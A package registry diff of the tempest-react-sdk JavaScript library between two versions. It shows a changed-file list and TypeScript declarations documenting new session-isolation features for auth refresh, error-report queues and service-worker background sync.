tempest-react-sdk 0.76.0 → 0.78.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/bin/create-tempest-app.e2e.test.mjs +112 -0
- package/bin/create-tempest-app.mjs +69 -28
- package/bin/lib/alias/collect.mjs +20 -3
- package/bin/lib/alias/index.mjs +12 -1
- package/bin/lib/alias/index.test.mjs +24 -0
- package/bin/lib/component/generate.mjs +191 -0
- package/bin/lib/component/generate.test.mjs +336 -0
- package/bin/lib/css/analyze.test.mjs +21 -1
- package/bin/lib/css/collect.mjs +14 -0
- package/bin/lib/css/extract.mjs +63 -5
- package/bin/lib/css/extract.test.mjs +110 -1
- package/bin/lib/css/fix.e2e.test.mjs +50 -0
- package/bin/lib/css/index.mjs +6 -1
- package/bin/lib/fs/contain.mjs +50 -0
- package/bin/lib/icons/generate.mjs +28 -3
- package/bin/lib/icons/generate.test.mjs +57 -1
- package/bin/lib/openapi/escape.mjs +224 -0
- package/bin/lib/openapi/generate.encode.test.mjs +120 -0
- package/bin/lib/openapi/generate.hostile.test.mjs +621 -0
- package/bin/lib/openapi/generate.mjs +129 -18
- package/bin/lib/openapi/generate.test.mjs +7 -2
- package/bin/lib/openapi/schema-to-zod.mjs +43 -4
- package/bin/tempest-gen.test.mjs +188 -0
- package/bin/tempest.mjs +263 -6
- package/dist/auth/create-tempest-auth.cjs +1 -1
- package/dist/auth/create-tempest-auth.cjs.map +1 -1
- package/dist/auth/create-tempest-auth.js +203 -58
- package/dist/auth/create-tempest-auth.js.map +1 -1
- package/dist/auth/refresh-queue.cjs +1 -1
- package/dist/auth/refresh-queue.cjs.map +1 -1
- package/dist/auth/refresh-queue.js +13 -6
- package/dist/auth/refresh-queue.js.map +1 -1
- package/dist/br/pix.cjs +1 -1
- package/dist/br/pix.cjs.map +1 -1
- package/dist/br/pix.js +85 -72
- package/dist/br/pix.js.map +1 -1
- package/dist/br.d.ts +19 -4
- package/dist/components/Chat/ChatAttachments.cjs +1 -1
- package/dist/components/Chat/ChatAttachments.cjs.map +1 -1
- package/dist/components/Chat/ChatAttachments.js +46 -38
- package/dist/components/Chat/ChatAttachments.js.map +1 -1
- package/dist/components/CodeBlock/CodeBlock.cjs +1 -1
- package/dist/components/CodeBlock/CodeBlock.cjs.map +1 -1
- package/dist/components/CodeBlock/CodeBlock.js +1 -1
- package/dist/components/CodeBlock/CodeBlock.js.map +1 -1
- package/dist/components/CodeBlock/tokenize.cjs +1 -1
- package/dist/components/CodeBlock/tokenize.cjs.map +1 -1
- package/dist/components/CodeBlock/tokenize.js +54 -25
- package/dist/components/CodeBlock/tokenize.js.map +1 -1
- package/dist/components/Markdown/markdown-parse.cjs +7 -5
- package/dist/components/Markdown/markdown-parse.cjs.map +1 -1
- package/dist/components/Markdown/markdown-parse.js +171 -90
- package/dist/components/Markdown/markdown-parse.js.map +1 -1
- package/dist/components/Toast/Toast.module.cjs +1 -1
- package/dist/components/Toast/Toast.module.cjs.map +1 -1
- package/dist/components/Toast/Toast.module.js +7 -3
- package/dist/components/Toast/Toast.module.js.map +1 -1
- package/dist/components/Toast/ToastProvider.cjs +1 -1
- package/dist/components/Toast/ToastProvider.cjs.map +1 -1
- package/dist/components/Toast/ToastProvider.js +77 -51
- package/dist/components/Toast/ToastProvider.js.map +1 -1
- package/dist/data/create-data-provider.cjs +1 -1
- package/dist/data/create-data-provider.cjs.map +1 -1
- package/dist/data/create-data-provider.js +32 -21
- package/dist/data/create-data-provider.js.map +1 -1
- package/dist/http/api-client.cjs +1 -1
- package/dist/http/api-client.cjs.map +1 -1
- package/dist/http/api-client.js +81 -73
- package/dist/http/api-client.js.map +1 -1
- package/dist/http/errors.cjs +1 -1
- package/dist/http/errors.cjs.map +1 -1
- package/dist/http/errors.js +39 -35
- package/dist/http/errors.js.map +1 -1
- package/dist/http/resumable-upload.cjs +1 -1
- package/dist/http/resumable-upload.cjs.map +1 -1
- package/dist/http/resumable-upload.js +141 -105
- package/dist/http/resumable-upload.js.map +1 -1
- package/dist/http/retry.cjs +1 -1
- package/dist/http/retry.cjs.map +1 -1
- package/dist/http/retry.js +5 -6
- package/dist/http/retry.js.map +1 -1
- package/dist/oauth/callback.cjs +2 -0
- package/dist/oauth/callback.cjs.map +1 -0
- package/dist/oauth/callback.js +42 -0
- package/dist/oauth/callback.js.map +1 -0
- package/dist/oauth/use-oauth-callback.cjs +1 -1
- package/dist/oauth/use-oauth-callback.cjs.map +1 -1
- package/dist/oauth/use-oauth-callback.js +13 -20
- package/dist/oauth/use-oauth-callback.js.map +1 -1
- package/dist/push/use-push-subscription.cjs +1 -1
- package/dist/push/use-push-subscription.cjs.map +1 -1
- package/dist/push/use-push-subscription.js +42 -42
- package/dist/push/use-push-subscription.js.map +1 -1
- package/dist/push/web-push-client.cjs +1 -1
- package/dist/push/web-push-client.cjs.map +1 -1
- package/dist/push/web-push-client.js +23 -3
- package/dist/push/web-push-client.js.map +1 -1
- package/dist/query/offline-persistence.cjs +1 -1
- package/dist/query/offline-persistence.cjs.map +1 -1
- package/dist/query/offline-persistence.js +68 -23
- package/dist/query/offline-persistence.js.map +1 -1
- package/dist/styles/component/Toast.css +6 -1
- package/dist/styles/feedback.css +6 -1
- package/dist/styles.css +1 -1
- package/dist/sw/background-sync.cjs +1 -1
- package/dist/sw/background-sync.cjs.map +1 -1
- package/dist/sw/background-sync.js +272 -60
- package/dist/sw/background-sync.js.map +1 -1
- package/dist/sw/cache-inspect.cjs.map +1 -1
- package/dist/sw/cache-inspect.js.map +1 -1
- package/dist/sw/cache.cjs +1 -1
- package/dist/sw/cache.cjs.map +1 -1
- package/dist/sw/cache.js +91 -64
- package/dist/sw/cache.js.map +1 -1
- package/dist/sw/credential-headers.cjs +2 -0
- package/dist/sw/credential-headers.cjs.map +1 -0
- package/dist/sw/credential-headers.js +17 -0
- package/dist/sw/credential-headers.js.map +1 -0
- package/dist/sw/session-data.cjs +2 -0
- package/dist/sw/session-data.cjs.map +1 -0
- package/dist/sw/session-data.js +17 -0
- package/dist/sw/session-data.js.map +1 -0
- package/dist/sw.cjs +1 -1
- package/dist/sw.d.ts +309 -23
- package/dist/sw.js +7 -5
- package/dist/telemetry/app-error-queue.cjs +1 -1
- package/dist/telemetry/app-error-queue.cjs.map +1 -1
- package/dist/telemetry/app-error-queue.js +19 -14
- package/dist/telemetry/app-error-queue.js.map +1 -1
- package/dist/telemetry/app-error-reporter.cjs +1 -1
- package/dist/telemetry/app-error-reporter.cjs.map +1 -1
- package/dist/telemetry/app-error-reporter.js +75 -34
- package/dist/telemetry/app-error-reporter.js.map +1 -1
- package/dist/telemetry/app-error-transport.cjs +1 -1
- package/dist/telemetry/app-error-transport.cjs.map +1 -1
- package/dist/telemetry/app-error-transport.js +16 -3
- package/dist/telemetry/app-error-transport.js.map +1 -1
- package/dist/tempest-react-sdk.cjs +1 -1
- package/dist/tempest-react-sdk.d.ts +1183 -64
- package/dist/tempest-react-sdk.js +160 -156
- package/dist/utils/csv.cjs +3 -3
- package/dist/utils/csv.cjs.map +1 -1
- package/dist/utils/csv.js +18 -14
- package/dist/utils/csv.js.map +1 -1
- package/dist/utils/owner-fingerprint.cjs +2 -0
- package/dist/utils/owner-fingerprint.cjs.map +1 -0
- package/dist/utils/owner-fingerprint.js +18 -0
- package/dist/utils/owner-fingerprint.js.map +1 -0
- package/dist/utils/safe-url.cjs +2 -0
- package/dist/utils/safe-url.cjs.map +1 -0
- package/dist/utils/safe-url.js +39 -0
- package/dist/utils/safe-url.js.map +1 -0
- package/dist/vite/tempest-csp.cjs +2 -2
- package/dist/vite/tempest-csp.cjs.map +1 -1
- package/dist/vite/tempest-csp.js +130 -64
- package/dist/vite/tempest-csp.js.map +1 -1
- package/dist/vite.d.ts +23 -5
- package/dist/webrtc/peer-link.cjs +1 -1
- package/dist/webrtc/peer-link.cjs.map +1 -1
- package/dist/webrtc/peer-link.js +2 -10
- package/dist/webrtc/peer-link.js.map +1 -1
- package/dist/webrtc/peer-mesh.cjs +1 -1
- package/dist/webrtc/peer-mesh.cjs.map +1 -1
- package/dist/webrtc/peer-mesh.js +110 -72
- package/dist/webrtc/peer-mesh.js.map +1 -1
- package/package.json +1 -1
- package/template-pwa/src/pwa.tsx +22 -0
- package/template-pwa/src/sw.ts +27 -14
- package/dist/components/Markdown/markdown-url.cjs +0 -2
- package/dist/components/Markdown/markdown-url.cjs.map +0 -1
- package/dist/components/Markdown/markdown-url.js +0 -28
- package/dist/components/Markdown/markdown-url.js.map +0 -1
|
@@ -714,6 +714,15 @@ export declare interface ApiClientConfig {
|
|
|
714
714
|
prefix?: string;
|
|
715
715
|
/** Returns the current bearer token (or null/undefined). Called per request. */
|
|
716
716
|
getToken?: () => string | null | undefined;
|
|
717
|
+
/**
|
|
718
|
+
* Returns a counter that changes whenever the session changes — a sign-out,
|
|
719
|
+
* a sign-in. Read when each attempt leaves and handed to `refresh` and
|
|
720
|
+
* `onUnauthorized` in {@link RequestAuthContext}, so they can tell a `401`
|
|
721
|
+
* from an ended session (refuse it) from one of the current session (handle
|
|
722
|
+
* it). The token alone cannot: a request sent with no token, or with a token
|
|
723
|
+
* rehydrated from storage, says nothing about which session sent it.
|
|
724
|
+
*/
|
|
725
|
+
getSessionEpoch?: () => number;
|
|
717
726
|
/**
|
|
718
727
|
* Origins besides `baseURL`'s that may receive the `getToken` credential.
|
|
719
728
|
*
|
|
@@ -743,8 +752,12 @@ export declare interface ApiClientConfig {
|
|
|
743
752
|
* Called when a request ends up unauthorized — a 401 with no `refresh`
|
|
744
753
|
* configured, a `refresh()` that threw, or a retry that came back 401 again
|
|
745
754
|
* after a refresh that resolved. Use it to end the session.
|
|
755
|
+
*
|
|
756
|
+
* `context` describes the attempt that came back `401` — the replay's, when
|
|
757
|
+
* it was the replay. Throwing {@link SessionSupersededError} here rejects the
|
|
758
|
+
* request with it; any other error is logged and the `401` is thrown as usual.
|
|
746
759
|
*/
|
|
747
|
-
onUnauthorized?: (response: Response) => void | Promise<void>;
|
|
760
|
+
onUnauthorized?: (response: Response, context: RequestAuthContext) => void | Promise<void>;
|
|
748
761
|
/**
|
|
749
762
|
* Where the client reports each request it finished. Off when absent — the
|
|
750
763
|
* client writes to no console of its own.
|
|
@@ -768,8 +781,17 @@ export declare interface ApiClientConfig {
|
|
|
768
781
|
/**
|
|
769
782
|
* Optional refresh hook. When provided and the original request returns 401,
|
|
770
783
|
* the client awaits `refresh()` then retries the request once.
|
|
784
|
+
*
|
|
785
|
+
* The hook receives a {@link RequestAuthContext} naming the token the rejected
|
|
786
|
+
* request carried. A hook that ignores it keeps working; one that reads it
|
|
787
|
+
* can tell a stale `401` — the token already rotated since the request left —
|
|
788
|
+
* from a fresh one, and skip a second refresh.
|
|
789
|
+
*
|
|
790
|
+
* Throwing {@link SessionSupersededError} rejects the request with that
|
|
791
|
+
* error **without** calling `onUnauthorized`: the session the refresh
|
|
792
|
+
* belonged to is gone, and the one in its place must not be ended for it.
|
|
771
793
|
*/
|
|
772
|
-
refresh?: () => Promise<void>;
|
|
794
|
+
refresh?: (context: RequestAuthContext) => Promise<void>;
|
|
773
795
|
/**
|
|
774
796
|
* Retry failed requests with exponential backoff. Off by default, so the
|
|
775
797
|
* client keeps failing fast unless you opt in.
|
|
@@ -1072,6 +1094,25 @@ export declare interface AppErrorQueueEntry {
|
|
|
1072
1094
|
report: AppErrorReportSchema;
|
|
1073
1095
|
/** How many times this exact report was raised while it waited. */
|
|
1074
1096
|
count: number;
|
|
1097
|
+
/**
|
|
1098
|
+
* The token in force when the report was raised, as a one-way fingerprint
|
|
1099
|
+
* (`"t:<hex>"`) — never the token itself. `null` means there was none;
|
|
1100
|
+
* the field is missing on entries persisted before it existed (≤ 0.76.0).
|
|
1101
|
+
*
|
|
1102
|
+
* The bearer is resolved when the queue drains, not when the error happens,
|
|
1103
|
+
* so this is what keeps a report user A raised offline from leaving with
|
|
1104
|
+
* user B's token: the bearer only goes out when it is the very token whose
|
|
1105
|
+
* fingerprint is stored here.
|
|
1106
|
+
*/
|
|
1107
|
+
session?: string | null;
|
|
1108
|
+
/**
|
|
1109
|
+
* Who `getPrincipal` said was signed in when the report was raised, as a
|
|
1110
|
+
* one-way fingerprint (`"p:<hex>"`). Only set when the reporter has a
|
|
1111
|
+
* `getPrincipal`; `null` means it named nobody. It never grants the bearer
|
|
1112
|
+
* — `session` does — it only decides whether `foreignReports: "drop"`
|
|
1113
|
+
* discards the entry.
|
|
1114
|
+
*/
|
|
1115
|
+
owner?: string | null;
|
|
1075
1116
|
}
|
|
1076
1117
|
|
|
1077
1118
|
/**
|
|
@@ -1090,9 +1131,22 @@ export declare interface AppErrorReporter {
|
|
|
1090
1131
|
report: (error: unknown, context?: Record<string, unknown>) => void;
|
|
1091
1132
|
/** Drain the queue now. Concurrent calls share one run. */
|
|
1092
1133
|
flush: () => Promise<AppErrorFlushResult>;
|
|
1093
|
-
/**
|
|
1134
|
+
/**
|
|
1135
|
+
* The waiting entries, oldest first. With an async `getToken` and no
|
|
1136
|
+
* `getPrincipal`, a report joins them once its token resolves — `flush()`
|
|
1137
|
+
* waits for that, `pending()` does not.
|
|
1138
|
+
*/
|
|
1094
1139
|
pending: () => AppErrorQueueEntry[];
|
|
1095
|
-
/**
|
|
1140
|
+
/**
|
|
1141
|
+
* Drop every waiting report. Call it on logout when reports raised in that
|
|
1142
|
+
* session should not outlive it; even without it, a report never leaves
|
|
1143
|
+
* with the next user's bearer.
|
|
1144
|
+
*
|
|
1145
|
+
* It also stops a flush in flight before its next send (the one already on
|
|
1146
|
+
* the wire cannot be recalled), and discards reports still waiting for an
|
|
1147
|
+
* async `getToken` to stamp them — both would otherwise refill the queue or
|
|
1148
|
+
* keep sending what the logout meant to forget.
|
|
1149
|
+
*/
|
|
1096
1150
|
clear: () => void;
|
|
1097
1151
|
/** Remove the `online` listener and the retry timer. */
|
|
1098
1152
|
dispose: () => void;
|
|
@@ -1740,6 +1794,70 @@ export declare type AvatarSize = "xs" | "sm" | "md" | "lg" | "xl";
|
|
|
1740
1794
|
|
|
1741
1795
|
export declare type AvatarStatus = "online" | "offline" | "busy";
|
|
1742
1796
|
|
|
1797
|
+
/**
|
|
1798
|
+
* `type` of the message the worker posts to window clients to ask about a queued
|
|
1799
|
+
* request. Answered by {@link provideBackgroundSyncCredentials}.
|
|
1800
|
+
*/
|
|
1801
|
+
export declare const BACKGROUND_SYNC_CREDENTIALS_MESSAGE = "tempest:bg-sync-credentials";
|
|
1802
|
+
|
|
1803
|
+
/**
|
|
1804
|
+
* Resolve the credentials for a queued request: a header record to apply, or
|
|
1805
|
+
* `null` when there is no session (the entry is then dropped).
|
|
1806
|
+
*/
|
|
1807
|
+
export declare type BackgroundSyncCredentialsProvider = (request: BackgroundSyncCredentialsRequest) => Record<string, string> | null | Promise<Record<string, string> | null>;
|
|
1808
|
+
|
|
1809
|
+
/** The request a window client is asked about, as sent by the worker. */
|
|
1810
|
+
export declare interface BackgroundSyncCredentialsRequest {
|
|
1811
|
+
/** Absolute URL of the queued request. */
|
|
1812
|
+
url: string;
|
|
1813
|
+
/** HTTP method of the queued request. */
|
|
1814
|
+
method: string;
|
|
1815
|
+
/**
|
|
1816
|
+
* `"enqueue"` when the worker only wants the owner of a request that just
|
|
1817
|
+
* failed; `"replay"` when it is about to send it and needs the credentials.
|
|
1818
|
+
*/
|
|
1819
|
+
phase: "enqueue" | "replay";
|
|
1820
|
+
}
|
|
1821
|
+
|
|
1822
|
+
/**
|
|
1823
|
+
* How the default `beforeReplay` treats an `"unknown"` owner on an entry that
|
|
1824
|
+
* carried no credential header:
|
|
1825
|
+
* - `"strict"` (default): it asks the open pages like any other entry — replayed
|
|
1826
|
+
* only when every answer lacks a principal, dropped as soon as one answer has
|
|
1827
|
+
* one, pending while nobody answers.
|
|
1828
|
+
* - `"lenient"`: it is replayed as-is, without asking (the behavior up to 0.77.0).
|
|
1829
|
+
*
|
|
1830
|
+
* An entry with stripped credentials always asks, under either policy.
|
|
1831
|
+
*/
|
|
1832
|
+
export declare type BackgroundSyncOwnerPolicy = "strict" | "lenient";
|
|
1833
|
+
|
|
1834
|
+
/**
|
|
1835
|
+
* How an entry is tied to whoever queued it:
|
|
1836
|
+
* - `"bound"`: the issuing page reported a principal (or `null` for nobody);
|
|
1837
|
+
* the entry only goes out while the same one is signed in.
|
|
1838
|
+
* - `"unbound"`: the issuing page answered without `getPrincipal`.
|
|
1839
|
+
* - `"unknown"`: nobody could say — no issuing tab, no answer, an error, or an
|
|
1840
|
+
* entry written before owners existed. Fails closed, with or without stripped
|
|
1841
|
+
* credentials: a cookie session rides along on the replay, so an entry with no
|
|
1842
|
+
* credential header is checked like any other.
|
|
1843
|
+
*
|
|
1844
|
+
* While the worker is still asking, the stored state is `"pending"`, which a
|
|
1845
|
+
* replay never sees: it waits, then reads a stamp that never came as `"unknown"`.
|
|
1846
|
+
*/
|
|
1847
|
+
export declare type BackgroundSyncOwnerState = "bound" | "unbound" | "unknown";
|
|
1848
|
+
|
|
1849
|
+
/** What a queued request looked like when it was stored, passed to `beforeReplay`. */
|
|
1850
|
+
export declare interface BackgroundSyncReplayContext {
|
|
1851
|
+
/** Epoch milliseconds of the original failed attempt. */
|
|
1852
|
+
queuedAt: number;
|
|
1853
|
+
/** Lower-cased credential header names stripped before the entry was stored. */
|
|
1854
|
+
strippedHeaders: readonly string[];
|
|
1855
|
+
/** How the entry is tied to its owner. */
|
|
1856
|
+
ownerState: BackgroundSyncOwnerState;
|
|
1857
|
+
/** Owner fingerprint under `"bound"` (`null` for nobody); `undefined` otherwise. */
|
|
1858
|
+
owner: string | null | undefined;
|
|
1859
|
+
}
|
|
1860
|
+
|
|
1743
1861
|
/**
|
|
1744
1862
|
* Pill / square status badge.
|
|
1745
1863
|
*
|
|
@@ -2468,9 +2586,10 @@ export declare type CacheFilter = string | RegExp | ((name: string) => boolean);
|
|
|
2468
2586
|
|
|
2469
2587
|
/**
|
|
2470
2588
|
* Main-thread helpers to inspect and clear the Cache Storage buckets a service
|
|
2471
|
-
* worker fills — for a "X MB cacheado" readout and a "limpar cache" action
|
|
2472
|
-
*
|
|
2473
|
-
*
|
|
2589
|
+
* worker fills — for a "X MB cacheado" readout and a "limpar cache" action.
|
|
2590
|
+
* On logout prefer `clearSessionData`, which also drops the background-sync
|
|
2591
|
+
* queue and spares the app-shell precache. All guard `caches` so they no-op
|
|
2592
|
+
* safely under SSR / older browsers.
|
|
2474
2593
|
*/
|
|
2475
2594
|
/** Per-cache usage summary returned by {@link inspectCaches}. */
|
|
2476
2595
|
export declare interface CacheReport {
|
|
@@ -3109,6 +3228,28 @@ declare type ClassValue = string | number | bigint | boolean | null | undefined
|
|
|
3109
3228
|
*/
|
|
3110
3229
|
export declare function clearAnnouncer(): void;
|
|
3111
3230
|
|
|
3231
|
+
/**
|
|
3232
|
+
* Empty the background-sync queue — every request still waiting to be replayed —
|
|
3233
|
+
* and bump its clear epoch. Call it on logout (or use `clearSessionData()`, which
|
|
3234
|
+
* also clears the runtime caches) so mutations made under one session are never
|
|
3235
|
+
* replayed under the next.
|
|
3236
|
+
*
|
|
3237
|
+
* Works from the page and from the worker, and reaches work already in flight
|
|
3238
|
+
* in the worker: a replay checks each entry right before sending it, and a
|
|
3239
|
+
* request still failing when the queue is cleared is not written afterwards.
|
|
3240
|
+
*
|
|
3241
|
+
* @param queueName - The `queueName` given to {@link installBackgroundSync}.
|
|
3242
|
+
* Default `tempest-bg-sync`.
|
|
3243
|
+
* @returns `true` once the queue is empty; `false` when IndexedDB is
|
|
3244
|
+
* unavailable (SSR, old browsers).
|
|
3245
|
+
*
|
|
3246
|
+
* @example
|
|
3247
|
+
* import { clearBackgroundSyncQueue } from "tempest-react-sdk/sw";
|
|
3248
|
+
*
|
|
3249
|
+
* await clearBackgroundSyncQueue();
|
|
3250
|
+
*/
|
|
3251
|
+
export declare function clearBackgroundSyncQueue(queueName?: string): Promise<boolean>;
|
|
3252
|
+
|
|
3112
3253
|
/**
|
|
3113
3254
|
* Delete Cache Storage buckets whose name passes `filter` (all of them when no
|
|
3114
3255
|
* filter is given).
|
|
@@ -3117,10 +3258,60 @@ export declare function clearAnnouncer(): void;
|
|
|
3117
3258
|
* @returns The names of the caches that were deleted.
|
|
3118
3259
|
*
|
|
3119
3260
|
* @example
|
|
3120
|
-
* await clearCaches("tempest-"); // drop
|
|
3261
|
+
* await clearCaches("tempest-api"); // drop one runtime bucket
|
|
3121
3262
|
*/
|
|
3122
3263
|
export declare function clearCaches(filter?: CacheFilter): Promise<string[]>;
|
|
3123
3264
|
|
|
3265
|
+
/**
|
|
3266
|
+
* Remove everything the service-worker helpers keep on behalf of the signed-in
|
|
3267
|
+
* user: the runtime caches filled by `installRuntimeCache` and the queue of
|
|
3268
|
+
* mutations waiting in `installBackgroundSync`. Call it on logout, from the page.
|
|
3269
|
+
*
|
|
3270
|
+
* Both stores outlive the session and are shared by every account that signs in
|
|
3271
|
+
* on the browser. Measured in Chromium 153 (11/10/2026), before this existed:
|
|
3272
|
+
* the documented `clearCaches("tempest-")` deleted nothing because the recipe's
|
|
3273
|
+
* runtime cache was named `api`, the next account read the previous account's
|
|
3274
|
+
* `GET /api/me` offline, and a mutation queued by the previous account was
|
|
3275
|
+
* replayed with its stored bearer after logout. A prefix filter cannot know the
|
|
3276
|
+
* names a recipe chose, so the default here inverts it: every bucket goes except
|
|
3277
|
+
* the precache, which holds only the build's static assets.
|
|
3278
|
+
*
|
|
3279
|
+
* Cache Storage and IndexedDB are origin storage, readable from the window, so
|
|
3280
|
+
* this needs no message to the worker.
|
|
3281
|
+
*
|
|
3282
|
+
* @param options - Narrow the caches to delete, or name a custom queue.
|
|
3283
|
+
* @returns The caches deleted and whether the queue was cleared.
|
|
3284
|
+
*
|
|
3285
|
+
* @example
|
|
3286
|
+
* import { clearSessionData } from "tempest-react-sdk/sw";
|
|
3287
|
+
*
|
|
3288
|
+
* async function logout() {
|
|
3289
|
+
* await clearSessionData();
|
|
3290
|
+
* }
|
|
3291
|
+
*/
|
|
3292
|
+
export declare function clearSessionData(options?: ClearSessionDataOptions): Promise<ClearSessionDataResult>;
|
|
3293
|
+
|
|
3294
|
+
/** Options for {@link clearSessionData}. */
|
|
3295
|
+
export declare interface ClearSessionDataOptions {
|
|
3296
|
+
/**
|
|
3297
|
+
* Which Cache Storage buckets hold session data. Default: every bucket except
|
|
3298
|
+
* the app-shell precache (`tempest-precache-*`), so the app still launches
|
|
3299
|
+
* offline after logout while no runtime entry — whatever its `cacheName` —
|
|
3300
|
+
* survives into the next session.
|
|
3301
|
+
*/
|
|
3302
|
+
caches?: CacheFilter;
|
|
3303
|
+
/** The background-sync `queueName` to clear. Default `tempest-bg-sync`. */
|
|
3304
|
+
queueName?: string;
|
|
3305
|
+
}
|
|
3306
|
+
|
|
3307
|
+
/** What {@link clearSessionData} removed. */
|
|
3308
|
+
export declare interface ClearSessionDataResult {
|
|
3309
|
+
/** Names of the Cache Storage buckets deleted. */
|
|
3310
|
+
caches: string[];
|
|
3311
|
+
/** Whether the background-sync queue was emptied. */
|
|
3312
|
+
queueCleared: boolean;
|
|
3313
|
+
}
|
|
3314
|
+
|
|
3124
3315
|
/**
|
|
3125
3316
|
* Wraps its children in a `<div>` and invokes `onOutside` whenever a
|
|
3126
3317
|
* `mousedown` or `touchstart` event occurs outside that subtree.
|
|
@@ -3670,6 +3861,12 @@ export declare function createApiClient(config: ApiClientConfig): ApiClient;
|
|
|
3670
3861
|
* - **any other 4xx** — dropped: the backend will refuse that body forever, and
|
|
3671
3862
|
* keeping it would block every report queued behind it.
|
|
3672
3863
|
*
|
|
3864
|
+
* Each report is stamped with a one-way fingerprint of the token in force when
|
|
3865
|
+
* it was raised, and goes out with a bearer only when the token at send time is
|
|
3866
|
+
* that same one — never with the token of whoever signed in next. The queue
|
|
3867
|
+
* never stores a token. `clear()` also stops a flush in flight and discards
|
|
3868
|
+
* reports still waiting for an async token.
|
|
3869
|
+
*
|
|
3673
3870
|
* @example
|
|
3674
3871
|
* import { createAppErrorReporter } from "tempest-react-sdk";
|
|
3675
3872
|
*
|
|
@@ -3696,6 +3893,44 @@ export declare interface CreateAppErrorReporterOptions {
|
|
|
3696
3893
|
* to get through. A token that throws or resolves empty sends anonymously.
|
|
3697
3894
|
*/
|
|
3698
3895
|
getToken?: () => string | null | undefined | Promise<string | null | undefined>;
|
|
3896
|
+
/**
|
|
3897
|
+
* Who is signed in right now — a stable, non-secret id such as the user id.
|
|
3898
|
+
* Read **when the error is reported**, and stored in the queue only as a
|
|
3899
|
+
* one-way fingerprint (`entry.owner`). A non-string (an `async` getter
|
|
3900
|
+
* from untyped JS, an object) or a getter that throws reads as nobody.
|
|
3901
|
+
*
|
|
3902
|
+
* It never grants the bearer. The bearer goes out only when the token at
|
|
3903
|
+
* send time is the very token that was in force at report time (its
|
|
3904
|
+
* fingerprint is `entry.session`): the principal and the token come from
|
|
3905
|
+
* two sources, and a principal store that lags behind a login would
|
|
3906
|
+
* otherwise send A's report with B's token. The principal only tells
|
|
3907
|
+
* {@link CreateAppErrorReporterOptions.foreignReports} `"drop"` whose
|
|
3908
|
+
* report is whose.
|
|
3909
|
+
*/
|
|
3910
|
+
getPrincipal?: () => string | number | null | undefined;
|
|
3911
|
+
/**
|
|
3912
|
+
* What to do with a queued report that cannot go out with the current
|
|
3913
|
+
* bearer — raised under another token, or queued before 0.77.0. Default
|
|
3914
|
+
* `"anonymous"`.
|
|
3915
|
+
*
|
|
3916
|
+
* - `"anonymous"` — send it without `Authorization`. The route is public,
|
|
3917
|
+
* so the error still reaches the backend; it is only not attributed to
|
|
3918
|
+
* anybody. This includes the user's own reports raised before a token
|
|
3919
|
+
* refresh: attribution is lost, never misplaced.
|
|
3920
|
+
* - `"drop"` — discard every report not proven to be the current
|
|
3921
|
+
* principal's: another principal, nobody, or unknown (no principal at
|
|
3922
|
+
* report time, a legacy entry, or nobody signed in now). For apps where
|
|
3923
|
+
* a previous user's error text must not leave the device after they
|
|
3924
|
+
* signed out. **Needs `getPrincipal`**: without it the only identity is
|
|
3925
|
+
* the token fingerprint, and a refresh changes it, so a mismatch is no
|
|
3926
|
+
* proof the report is someone else's — the reporter then sends
|
|
3927
|
+
* anonymously instead of destroying the user's own reports.
|
|
3928
|
+
*
|
|
3929
|
+
* Never is a report sent with a bearer other than the one it was raised
|
|
3930
|
+
* under: that would credit the previous user's error to whoever signed in
|
|
3931
|
+
* next.
|
|
3932
|
+
*/
|
|
3933
|
+
foreignReports?: "anonymous" | "drop";
|
|
3699
3934
|
/**
|
|
3700
3935
|
* Device facts, read **when the error is reported**, not when it is sent —
|
|
3701
3936
|
* a report queued offline on `1.4.0` must not go out labelled `1.5.0`.
|
|
@@ -3870,6 +4105,10 @@ export declare function createColorScale(hex: string, mode?: "light" | "dark", o
|
|
|
3870
4105
|
* `GET /{resource}/{id}`, create → `POST`, update → `PATCH`/`PUT`,
|
|
3871
4106
|
* delete → `DELETE`.
|
|
3872
4107
|
*
|
|
4108
|
+
* Every id goes through {@link encodeIdSegment} before reaching `buildPath`, so
|
|
4109
|
+
* an id can never leave its own path segment — not with the default builder,
|
|
4110
|
+
* and not with an override that interpolates it.
|
|
4111
|
+
*
|
|
3873
4112
|
* @param client - The HTTP client created by `createApiClient`.
|
|
3874
4113
|
* @param options - Optional overrides for param names, sort encoding,
|
|
3875
4114
|
* update method and path building.
|
|
@@ -4224,10 +4463,14 @@ export declare function createLinkStatsSampler(options?: LinkStatsSamplerOptions
|
|
|
4224
4463
|
* file. Apps that already have `createOfflineStore` open can pass their own
|
|
4225
4464
|
* {@link ResumableUploadStorage} instead.
|
|
4226
4465
|
*
|
|
4466
|
+
* `clear()` forgets every record under the prefix. Call it from
|
|
4467
|
+
* `onSessionEnd`: a record outlives the session that wrote it, and only
|
|
4468
|
+
* completing the upload or `abort({ discard: true })` removes it otherwise.
|
|
4469
|
+
*
|
|
4227
4470
|
* @param prefix - Key prefix. Default `"tempest-upload:"`.
|
|
4228
4471
|
* @returns A storage that no-ops when `localStorage` is unavailable.
|
|
4229
4472
|
*/
|
|
4230
|
-
export declare function createLocalUploadStorage(prefix?: string):
|
|
4473
|
+
export declare function createLocalUploadStorage(prefix?: string): LocalUploadStorage;
|
|
4231
4474
|
|
|
4232
4475
|
/**
|
|
4233
4476
|
* Create a structured leveled logger. Plug arbitrary sinks (Sentry, Datadog,
|
|
@@ -4415,7 +4658,7 @@ export declare function createOSRMBackend(options: OSRMBackendOptions): RoutingB
|
|
|
4415
4658
|
/**
|
|
4416
4659
|
* Build a `206 Partial Content` response from a full one for an HTTP `Range`
|
|
4417
4660
|
* request. Supports `bytes=start-end`, open-ended `bytes=start-` and suffix
|
|
4418
|
-
* `bytes=-suffixLength
|
|
4661
|
+
* `bytes=-suffixLength` (the last N bytes). Returns the original response when there is no usable
|
|
4419
4662
|
* `Range` header, or a `416` when the range is unsatisfiable.
|
|
4420
4663
|
*
|
|
4421
4664
|
* @param request The incoming request (its `Range` header drives the slice).
|
|
@@ -4607,15 +4850,26 @@ export declare function createQueryKeys<TKey extends string, TEntries extends Re
|
|
|
4607
4850
|
* is already fresh. Measured against a mock backend, five concurrent expired
|
|
4608
4851
|
* requests took two refreshes, not one.
|
|
4609
4852
|
*
|
|
4610
|
-
* Pass `getToken` to close that gap.
|
|
4611
|
-
*
|
|
4612
|
-
*
|
|
4853
|
+
* Pass `getToken` to close that gap. Wired as `createApiClient`'s `refresh`, the
|
|
4854
|
+
* queue is told which token each rejected request carried: when that token is
|
|
4855
|
+
